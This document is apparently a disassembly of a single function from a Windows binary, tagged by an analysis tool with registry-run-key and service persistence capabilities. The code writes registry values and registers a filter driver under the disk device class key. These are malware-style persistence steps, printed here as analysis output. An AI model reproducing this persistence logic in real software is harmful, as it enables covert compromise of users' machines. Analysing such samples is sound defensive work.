Function at 0x4017f0
Capabilities:
Persist via run registry key
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x31c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0xf003f
push 0
push 0x42b2b8
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x30], 7
mov dword [esp + 0x2c], 0x104
call ebx
test eax, eax
je 0x40186b
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push 0x42b2ac
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x401b0e
lea edx, [esp + 0x10]
push edx
push 0xf003f
push eax
mov eax, dword [esp + 0x1c]
push 0x42b284
push eax
call ebx
test eax, eax
jne 0x401b0e
mov edi, 0x42d5d8
or ecx, 0xffffffff
xor eax, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x14]
push 0x42d5d8
push 1
push eax
push 0x42b278
push ecx
call ebp
test eax, eax
jne 0x401b0e
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x42b254
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x124]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x401b0e
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 0x42b248
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x401b0e
mov edx, dword [esp + 0x10]
push 6
push str.Filter
push 1
push eax
push 0x42b238
push edx
call ebp
test eax, eax
jne 0x401b0e
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push 0x42b228
push ecx
mov dword [esp + 0x2c], 1
call ebp
test eax, eax
jne 0x401b0e
lea edx, [esp + 0x14]
push 4
push edx
push 4
push eax
mov eax, dword [esp + 0x20]
push 0x42b220
push eax
call ebp
test eax, eax
jne 0x401b0e
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push eax
push 0x42b218
push edx
mov dword [esp + 0x2c], eax
call ebp
test eax, eax
jne 0x401b0e
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push 0x42b214
push ecx
mov dword [esp + 0x2c], 2
call ebp
test eax, eax
jne 0x401b0e
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x228]
push 9
rep stosd dword es:[edi], eax
lea eax, [esp + 0x22c]
push 0x42b208
push eax
call fcn.0040a030
mov edi, str.SystemCurrentControlSetControlClass4D36E967_E325_11CE_BFC1_08002BE10318
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x124]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x18], 0x104
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x401b0e
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0x42b1a8
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401b0e
cmp byte [esp + 0x20], 0x44
jne 0x401ac1
mov cl, byte [esp + 0x21]
mov al, 0x69
cmp cl, al
jne 0x401ac1
cmp byte [esp + 0x22], 0x73
jne 0x401ac1
cmp byte [esp + 0x23], 0x6b
jne 0x401ac1
cmp byte [esp + 0x24], 0x46
jne 0x401ac1
cmp byte [esp + 0x25], al
jne 0x401ac1
cmp byte [esp + 0x26], 0x6c
jne 0x401ac1
cmp byte [esp + 0x27], 0x74
jne 0x401ac1
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x31c
ret
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edx
lea ecx, [esp + 0x235]
push eax
push ecx
call fcn.0040a030
mov eax, dword [esp + 0x24]
add esp, 0xc
add eax, 9
lea edx, [esp + 0x228]
push eax
push edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x18]
push 7
push 0
push 0x42b1a8
push eax
call ebp
test eax, eax
je 0x401b1b
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x31c
ret
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x31c
ret